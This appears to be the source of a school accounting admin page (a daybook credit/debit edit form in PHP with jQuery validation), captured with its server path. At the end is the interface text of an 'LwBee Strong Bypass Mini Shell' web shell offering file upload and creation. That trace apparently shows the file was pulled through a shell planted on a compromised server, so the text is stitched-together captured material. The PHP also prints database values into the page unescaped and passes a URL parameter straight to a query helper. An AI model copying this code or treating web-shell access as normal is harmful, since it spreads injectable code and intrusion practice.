/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/dayBookEdit.php
<?php
   include('include/header.php');
   
   
   $select_branch = select_branch();
   $select_category = select_category();
    $selectAcademicYear = select_academic();
  

  if(!empty($_GET['edit']))
   {
       $select_DayData = DaySelectData($_GET['edit']);
       $DayData = mysqli_fetch_array($select_DayData);

   }
if(!empty($_POST['submit'])){
    EditDayBookData();
}

?>



  <link rel="stylesheet" href="//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="https://code.jquery.com/jquery-3.6.0.js"></script>
  <script src="https://code.jquery.com/ui/1.13.1/jquery-ui.js"></script>



<main id="main" class="main">

<div class="pagetitle">
  <h1>Daybook <?php if ($DayData['type'] != 'Credit') { ?>Debit<?php } else { ?>Credit<?php } ?> </h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item active">Daybook <?php if ($DayData['type'] == 'Credit') { ?>Credit<?php } else { ?>Debit<?php } ?>  Edit</li>
    </ol>
  </nav>
</div><!-- End Page Title -->


    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Daybook <?php if ($DayData['type'] == 'Credit') { ?>Credit<?php } else { ?>Debit<?php } ?> Entry</h5>




 
     <form method="post" onsubmit=" return book_validation()">
               <div class="row"> 
                 <div class="col-md-3">
                        <label class="form-label">Academic Year</label> 
                        <select name="academicYear" class="form-control" id="academicYear">
                                <option value="">Please Select Academic Year</option>
                                <?php
                                while($academicYear = mysqli_fetch_array($selectAcademicYear))
                                {
                                ?>
                                <option value="<?= $academicYear['yearOf']?>" <?php if($DayData['academicYear']==$academicYear['yearOf']){ echo "selected";}?>> <?= $academicYear['yearOf'] ?> </option>
                                <?php } ?>
                             </select>

                        
                    </div>
                      <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Voucher Number</label>
                        <input type="text" class="form-control noSpace" id="vNum" name="vNum" placeholder="Enter Vocher Number" value="<?= $DayData['VocherNumber']?>">
                    </div>  
                 <div class="col-md-3">
                        <label for="exampleInputEmail1" class="form-label">Date</label> 
                        <input class="form-control" value="<?= date("d-M-Y", strtotime($DayData['date'])); ?>" id="datepicker" required="required" name="date" readonly type="text"/>
                    </div> 

                       <?php if($_SESSION['user'] == 'admin') { ?>

                  <div class="col-md-3">
                        <label for="exampleInputEmail1" class="form-label">Branch Name</label>
                            <select name="branch_name" id="branch_name" class="form-control" >
                               
                                <?php
                                while($branch = mysqli_fetch_array($select_branch)){
                                ?>
                                <option value="<?= $branch['branch_name']?>" <?php if($DayData['branch_name']==$branch['branch_name']){ echo "selected";}?>><?= $branch['branch_name']?></option> 

                                <?php }?>
                             </select>
                      </div> 
       <?php } else { ?>  
                    <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Branch Name</label>
                        <input type="text" class="form-control" id="branch_name" value="<?php echo $_SESSION['branchName']; ?>" name="branch_name" readonly>
                    </div>  
                    <?php } ?>


                      <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Category Name</label>
                            <select name="category_name" id="category_name" class="form-control">
                                
                                <?php
                                while($category = mysqli_fetch_array($select_category)){
                                ?>
                                 <option value="<?= $category['category']?>" <?php if($DayData['category_name']==$category['category']){ echo "selected";}?>><?= $category['category']?></option>




                                <?php }?>
                                
                            </select>
                       </div>


                         <div class="col-md-3">
                       <label for="exampleInputEmail1" class="form-label">Reason</label>
                       <textarea id="reason" name="reason" class="form-control"><?php echo $DayData['reason'] ?></textarea>
                    </div>
                    <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Amount</label>
                        <input type="text" class="form-control noSpace" id="amount" name="amount" value="<?php echo $DayData['amount'] ?>">
                    </div>  
                  </div>
                  <input type="hidden" name="edit_data" id="edit_data" value="<?php echo $DayData['id']?>">
                <div class="mt-4">
                   <input type="submit" class="btn btn-primary" value="Update" name="submit">
                </div>
           </form>

   
    </div>
  
   
  </div>

        </div>
      </div>
    </section>
</main><!-- End #main -->
 
 <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
  <script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
  <script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        
        var branchname = $('#branch_name').val();
        var category_name = $('#category_name').val();
        var price = $('#price').val();
        var academicYear = $('#academicYear').val();
        var price = $('#amount').val();
        var datepicker = $('#datepicker').val();
        var reason = $('#reason').val(); 
         var VocherNumber = $('#vNum').val();
      
          if(academicYear == '')
        {
          swal('Please Select academic year');
          return false;
        }
          else if(VocherNumber == '')
        {
          swal('Please Enter Vocher Number');
          return false;
        }
           else if(datepicker == '')
        {
          swal('Please Select Date');
          return false;
        }
        else if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
       else if(category_name == '')
        {
          swal('Please Enter Category Name');
          return false;
        }
        else if(price == '')
        {
          swal('Please Enter price');
          return false;
        } 
        else if(isNaN(price))
        {
          swal('Please Enter Numbers only');
          return false;
        }
       
        else if(reason == '')
        {
          swal('Please Enter reason');
          return false;
        } 
       
        else{
          return true;
        }
    }
  </script>
<script>
  $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
</script>
  
  <?php include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File